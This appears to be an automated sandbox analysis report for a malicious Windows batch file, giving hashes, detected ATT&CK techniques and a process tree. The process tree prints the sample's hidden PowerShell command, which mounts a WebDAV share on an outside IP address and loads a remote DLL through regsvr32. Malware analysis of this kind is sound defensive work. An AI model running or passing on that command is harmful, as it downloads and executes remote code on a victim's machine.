4ac2da8e1be3003dbfc77fde78691394f741acd8e21f72d20d781acbdc940290

Analysis

max time kernel
141s
max time network
103s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21/07/2024, 07:49

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General

Target

12172261751013130142.bat
Size

18KB
MD5

f6058df881656f6ab459e649b859cdfe
SHA1

89928516d923e83a70353f60c3079cd17df40398
SHA256

4ac2da8e1be3003dbfc77fde78691394f741acd8e21f72d20d781acbdc940290
SHA512

b63cf82f27405d50c5ff4f4107cb28eb842c9e52a9012ec71b814332478d8559e6de662e9e20537bd01b8e4a2b3095f0adb0fd66925b9194269a38b7002d686f
SSDEEP

384:kEmP+xiA9F7TYwFEJ0GjGnBWFVUYUxMYgH37wBv70pYJKEJe1Y:VmPZAH3d2JdULxMY2Lw9YChJe1Y

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1764	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1764	powershell.exe
1764	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1764	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2192	wordpad.exe
2192	wordpad.exe
2192	wordpad.exe
2192	wordpad.exe
2192	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4696 wrote to memory of 2192	4696	cmd.exe	87
PID 4696 wrote to memory of 2192	4696	cmd.exe	87
PID 4696 wrote to memory of 1764	4696	cmd.exe	89
PID 4696 wrote to memory of 1764	4696	cmd.exe	89
PID 1764 wrote to memory of 3284	1764	powershell.exe	91
PID 1764 wrote to memory of 3284	1764	powershell.exe	91
PID 1764 wrote to memory of 3264	1764	powershell.exe	92
PID 1764 wrote to memory of 3264	1764	powershell.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\12172261751013130142.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4696
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\721256141486.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3284
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\721256141486.dll
    3⤵
    PID:3264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xe355gyw.ks0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1764-2-0x00000227ACF00000-0x00000227ACF22000-memory.dmp

Filesize
136KB

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